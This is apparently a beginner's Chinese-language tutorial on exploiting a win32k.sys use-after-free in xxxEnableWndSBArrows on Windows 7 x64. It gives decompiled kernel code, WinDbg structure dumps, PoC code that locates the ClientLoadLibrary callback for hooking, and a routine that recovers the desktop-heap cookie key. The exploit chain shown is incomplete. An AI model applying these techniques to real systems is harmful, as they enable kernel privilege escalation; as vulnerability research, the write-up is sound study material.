|
漏洞组件**:win32k.sys**
原理xxxDrawScrollBar的时候会回到用户态的ClientLoadLibrary,而用户态的程序可以挂钩ClientLoadLibrary,直接把这个pWnd窗口指针释放掉,后面系统没检查这个pWnd->pSBInfo是否还存在就直接往pSBInfo &= 0xFFFFFFF3 导致UAF
bool __fastcall xxxEnableWndSBArrows(tagWND *pWnd, UINT wSBflags, UINT wArrows)
{
tagSBINFO *pSBInfo;
bool v4;
int tmp_WSBflags;
HDC DCEx;
__int64 v11;
__int64 v12;
pSBInfo = pWnd->pSBInfo;
v4 = 0;
if ( pSBInfo )
{
tmp_WSBflags = pSBInfo->WSBflags;
}
else
{
if ( !wArrows )
return 0;
tmp_WSBflags = 0;
pSBInfo = (tagSBINFO *)InitPwSB();
if ( !pSBInfo )
return 0;
}
DCEx = (HDC)GetDCEx(pWnd, 0i64, 65537i64);
if ( !DCEx )
return 0;
if ( !wSBflags || wSBflags == 3 )
{
if ( wArrows )
pSBInfo->WSBflags |= wArrows;
else
pSBInfo->WSBflags &= 0xFFFFFFFC;
if ( pSBInfo->WSBflags != tmp_WSBflags )
{
tmp_WSBflags = pSBInfo->WSBflags;
v4 = 1;
if ( (pWnd->state & 4) != 0 && (*((_BYTE *)&pWnd->2 + 3) & 0x20) == 0 && (unsigned int)IsVisible(pWnd) )
xxxDrawScrollBar(v11, DCEx, 0);
}
if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 1) != 0 )
xxxWindowEvent(32778, (_DWORD)pWnd, -6, 1, 1);
if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 2) != 0 )
xxxWindowEvent(32778, (_DWORD)pWnd, -6, 5, 1);
}
if ( wSBflags == 1 || wSBflags == 3 )
{
if ( wArrows )
pSBInfo->WSBflags |= 4 * wArrows;
else
pSBInfo->WSBflags &= 0xFFFFFFF3;
if ( pSBInfo->WSBflags != tmp_WSBflags )
{
v4 = 1;
if ( (pWnd->state & 2) != 0 && (*((_BYTE *)&pWnd->2 + 3) & 0x20) == 0 && (unsigned int)IsVisible(pWnd) )
xxxDrawScrollBar(v12, DCEx, 1);
if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 4) != 0 )
xxxWindowEvent(32778, (_DWORD)pWnd, -5, 1, 1);
if ( (((unsigned __int8)tmp_WSBflags ^ LOBYTE(pSBInfo->WSBflags)) & 8) != 0 )
xxxWindowEvent(32778, (_DWORD)pWnd, -5, 5, 1);
}
}
ReleaseCacheDC(DCEx, 0i64);
return v4;
}
利用我选择了Windows 7 x64 SP1 无任何补丁,因为Windows 8 有一些其他的保护措施,新手入门,暂未攻克。
先看一下PEB 我们知道了是调用ClientLoadLibrary 就得去PEB里面找他的地址 然后替换掉

PEB:[0x58] 是内核回调函数表
我用notepad.exe 来看ClientLoadLibrary 在哪


+0x058 KernelCallbackTable : 0x00000000`77389500 Void
KernelCallbackTable地址是0x77389500 这侧面证明了我们可以改KernelCallbackTable 不在内核态地址 在用户态
process /i fffffa80630b3b00
把上下文切到notepad.exe里面
dps 77389500 L50

我们可以看到ClientLoadLibrary是0x77389708 然后我们的开始是0x77389500
0x208 / 8 = 41 所以 Index 为 41
我们就可以先开始写POC了 我们先Hook ClientLoadLibrary
#include <stdio.h>
#include "def.h"
ULONG_PTR OriginalClientLoadLibrary = 0;
void HookClientLoadLibrary() {
printf("we success hook ClientLoadLibrary!\n");
return;
}
int main()
{
GetStockObject(WHITE_BRUSH);
_PEB* peb = (_PEB*)__readgsqword(0x60);
VOID* KernelCallbackTable = peb->KernelCallbackTable;
VOID* ClientLoadLibrary = (BYTE*)KernelCallbackTable + (0x41 * 8);
printf("ClientLoadLibrary addr = %p\n", ClientLoadLibrary);
printf("HOOKClientLoadLibrary addr = %p\n", HookClientLoadLibrary);
getchar();
return 0;
}
我们运行看看 是否得到了OriginalClientLoadLibrary的地址





1: kd> dt win32k!tagWnd
+0x000 head : _THRDESKHEAD
+0x028 state : Uint4B
+0x028 bHasMeun : Pos 0, 1 Bit
+0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
+0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
+0x028 bHasCaption : Pos 3, 1 Bit
+0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
+0x028 bMsgBox : Pos 5, 1 Bit
+0x028 bActiveFrame : Pos 6, 1 Bit
+0x028 bHasSPB : Pos 7, 1 Bit
+0x028 bNoNCPaint : Pos 8, 1 Bit
+0x028 bSendEraseBackground : Pos 9, 1 Bit
+0x028 bEraseBackground : Pos 10, 1 Bit
+0x028 bSendNCPaint : Pos 11, 1 Bit
+0x028 bInternalPaint : Pos 12, 1 Bit
+0x028 bUpdateDirty : Pos 13, 1 Bit
+0x028 bHiddenPopup : Pos 14, 1 Bit
+0x028 bForceMenuDraw : Pos 15, 1 Bit
+0x028 bDialogWindow : Pos 16, 1 Bit
+0x028 bHasCreatestructName : Pos 17, 1 Bit
+0x028 bServerSideWindowProc : Pos 18, 1 Bit
+0x028 bAnsiWindowProc : Pos 19, 1 Bit
+0x028 bBeingActivated : Pos 20, 1 Bit
+0x028 bHasPalette : Pos 21, 1 Bit
+0x028 bPaintNotProcessed : Pos 22, 1 Bit
+0x028 bSyncPaintPending : Pos 23, 1 Bit
+0x028 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
+0x028 bRecievedSuspendMsg : Pos 25, 1 Bit
+0x028 bToggleTopmost : Pos 26, 1 Bit
+0x028 bRedrawIfHung : Pos 27, 1 Bit
+0x028 bRedrawFrameIfHung : Pos 28, 1 Bit
+0x028 bAnsiCreator : Pos 29, 1 Bit
+0x028 bMaximizesToMonitor : Pos 30, 1 Bit
+0x028 bDestroyed : Pos 31, 1 Bit
+0x02c state2 : Uint4B
+0x02c bWMPaintSent : Pos 0, 1 Bit
+0x02c bEndPaintInvalidate : Pos 1, 1 Bit
+0x02c bStartPaint : Pos 2, 1 Bit
+0x02c bOldUI : Pos 3, 1 Bit
+0x02c bHasClientEdge : Pos 4, 1 Bit
+0x02c bBottomMost : Pos 5, 1 Bit
+0x02c bFullScreen : Pos 6, 1 Bit
+0x02c bInDestroy : Pos 7, 1 Bit
+0x02c bWin31Compat : Pos 8, 1 Bit
+0x02c bWin40Compat : Pos 9, 1 Bit
+0x02c bWin50Compat : Pos 10, 1 Bit
+0x02c bMaximizeMonitorRegion : Pos 11, 1 Bit
+0x02c bCloseButtonDown : Pos 12, 1 Bit
+0x02c bMaximizeButtonDown : Pos 13, 1 Bit
+0x02c bMinimizeButtonDown : Pos 14, 1 Bit
+0x02c bHelpButtonDown : Pos 15, 1 Bit
+0x02c bScrollBarLineUpBtnDown : Pos 16, 1 Bit
+0x02c bScrollBarPageUpBtnDown : Pos 17, 1 Bit
+0x02c bScrollBarPageDownBtnDown : Pos 18, 1 Bit
+0x02c bScrollBarLineDownBtnDown : Pos 19, 1 Bit
+0x02c bAnyScrollButtonDown : Pos 20, 1 Bit
+0x02c bScrollBarVerticalTracking : Pos 21, 1 Bit
+0x02c bForceNCPaint : Pos 22, 1 Bit
+0x02c bForceFullNCPaintClipRgn : Pos 23, 1 Bit
+0x02c FullScreenMode : Pos 24, 3 Bits
+0x02c bCaptionTextTruncated : Pos 27, 1 Bit
+0x02c bNoMinmaxAnimatedRects : Pos 28, 1 Bit
+0x02c bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
+0x02c bShellHookRegistered : Pos 30, 1 Bit
+0x02c bWMCreateMsgProcessed : Pos 31, 1 Bit
+0x030 ExStyle : Uint4B
+0x030 bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
+0x030 bUnused1 : Pos 1, 1 Bit
+0x030 bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
+0x030 bWS_EX_TOPMOST : Pos 3, 1 Bit
+0x030 bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
+0x030 bWS_EX_TRANSPARENT : Pos 5, 1 Bit
+0x030 bWS_EX_MDICHILD : Pos 6, 1 Bit
+0x030 bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
+0x030 bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
+0x030 bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
+0x030 bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
+0x030 bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
+0x030 bWS_EX_RIGHT : Pos 12, 1 Bit
+0x030 bWS_EX_RTLREADING : Pos 13, 1 Bit
+0x030 bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
+0x030 bUnused2 : Pos 15, 1 Bit
+0x030 bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
+0x030 bWS_EX_STATICEDGE : Pos 17, 1 Bit
+0x030 bWS_EX_APPWINDOW : Pos 18, 1 Bit
+0x030 bWS_EX_LAYERED : Pos 19, 1 Bit
+0x030 bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
+0x030 bUnused3 : Pos 21, 1 Bit
+0x030 bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
+0x030 bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
+0x030 bUnused4 : Pos 24, 1 Bit
+0x030 bWS_EX_COMPOSITED : Pos 25, 1 Bit
+0x030 bUIStateActive : Pos 26, 1 Bit
+0x030 bWS_EX_NOACTIVATE : Pos 27, 1 Bit
+0x030 bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
+0x030 bRedirected : Pos 29, 1 Bit
+0x030 bUIStateKbdAccelHidden : Pos 30, 1 Bit
+0x030 bUIStateFocusRectHidden : Pos 31, 1 Bit
+0x034 style : Uint4B
+0x034 bReserved1 : Pos 0, 16 Bits
+0x034 bWS_MAXIMIZEBOX : Pos 16, 1 Bit
+0x034 bReserved2 : Pos 0, 16 Bits
+0x034 bWS_TABSTOP : Pos 16, 1 Bit
+0x034 bReserved3 : Pos 0, 16 Bits
+0x034 bUnused5 : Pos 16, 1 Bit
+0x034 bWS_MINIMIZEBOX : Pos 17, 1 Bit
+0x034 bReserved4 : Pos 0, 16 Bits
+0x034 bUnused6 : Pos 16, 1 Bit
+0x034 bWS_GROUP : Pos 17, 1 Bit
+0x034 bReserved5 : Pos 0, 16 Bits
+0x034 bUnused7 : Pos 16, 2 Bits
+0x034 bWS_THICKFRAME : Pos 18, 1 Bit
+0x034 bReserved6 : Pos 0, 16 Bits
+0x034 bUnused8 : Pos 16, 2 Bits
+0x034 bWS_SIZEBOX : Pos 18, 1 Bit
+0x034 bReserved7 : Pos 0, 16 Bits
+0x034 bUnused9 : Pos 16, 3 Bits
+0x034 bWS_SYSMENU : Pos 19, 1 Bit
+0x034 bWS_HSCROLL : Pos 20, 1 Bit
+0x034 bWS_VSCROLL : Pos 21, 1 Bit
+0x034 bWS_DLGFRAME : Pos 22, 1 Bit
+0x034 bWS_BORDER : Pos 23, 1 Bit
+0x034 bMaximized : Pos 24, 1 Bit
+0x034 bWS_CLIPCHILDREN : Pos 25, 1 Bit
+0x034 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
+0x034 bDisabled : Pos 27, 1 Bit
+0x034 bVisible : Pos 28, 1 Bit
+0x034 bMinimized : Pos 29, 1 Bit
+0x034 bWS_CHILD : Pos 30, 1 Bit
+0x034 bWS_POPUP : Pos 31, 1 Bit
+0x038 hModule : Ptr64 Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 tagWND
+0x050 spwndPrev : Ptr64 tagWND
+0x058 spwndParent : Ptr64 tagWND
+0x060 spwndChild : Ptr64 tagWND
+0x068 spwndOwner : Ptr64 tagWND
+0x070 rcWindow : tagRECT
+0x080 rcClient : tagRECT
+0x090 lpfnWndProc : Ptr64 int64
+0x098 pcls : Ptr64 tagCLS
+0x0a0 hrgnUpdate : Ptr64 HRGN__
+0x0a8 ppropList : Ptr64 tagPROPLIST
+0x0b0 pSBInfo : Ptr64 tagSBINFO
+0x0b8 spmenuSys : Ptr64 tagMENU
+0x0c0 spmenu : Ptr64 tagMENU
+0x0c8 hrgnClip : Ptr64 HRGN__
+0x0d0 hrgnNewFrame : Ptr64 HRGN__
+0x0d8 strName : _LARGE_UNICODE_STRING
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 tagWND
+0x0f8 hImc : Ptr64 HIMC__
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 _ACTIVATION_CONTEXT
+0x110 pTransform : Ptr64 _D3DMATRIX
+0x118 spwndClipboardListenerNext : Ptr64 tagWND
+0x120 ExStyle2 : Uint4B
+0x120 bClipboardListener : Pos 0, 1 Bit
+0x120 bLayeredInvalidate : Pos 1, 1 Bit
+0x120 bRedirectedForPrint : Pos 2, 1 Bit
+0x120 bLinked : Pos 3, 1 Bit
+0x120 bLayeredForDWM : Pos 4, 1 Bit
+0x120 bLayeredLimbo : Pos 5, 1 Bit
+0x120 bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
+0x120 bVerticallyMaximizedLeft : Pos 7, 1 Bit
+0x120 bVerticallyMaximizedRight : Pos 8, 1 Bit
+0x120 bHasOverlay : Pos 9, 1 Bit
+0x120 bConsoleWindow : Pos 10, 1 Bit
+0x120 bChildNoActivate : Pos 11, 1 Bit
1: kd> dt win32k!tagPROPLIST -r
+0x000 cEntries : Uint4B
+0x004 iFirstFree : Uint4B
+0x008 aprop : [1] tagPROP
+0x000 hData : Ptr64 Void
+0x008 atomKey : Uint2B
+0x00a fs : Uint2B
1: kd> dt tagSBINFO -r
win32k!tagSBINFO
+0x000 WSBflags : Int4B
+0x004 Horz : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : tagSBDATA
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
Desktop Cookie加密在Windows8.1以后存在HEAP_ENTRY加密,需要找到key解密
桌面堆是专属于窗口的堆,所以我们需要创建窗口后才能找到桌面堆,否则是找不到的。
BOOL GetDesktopHeapCookie()
{
_TEB64* _teb = (_TEB64*)NtCurrentTeb();
ULONG_PTR deltaDHeap = *(ULONG_PTR*)((BYTE*)(_teb->Win32ClientInfo) + 0x28);
PSHAREDINFO pSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandleA("USER32.dll"), "gSharedInfo");
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
BYTE* Addr = (BYTE*)0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect == PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if (*(UINT*)((BYTE*)MemInfo.BaseAddress + 0x10) == 0xffeeffee)
{
if (*(ULONG_PTR*)((BYTE*)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE*)MemInfo.BaseAddress + deltaDHeap))
{
xorKey.append((CHAR*)((BYTE*)MemInfo.BaseAddress + 0x80), 16);
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
}
|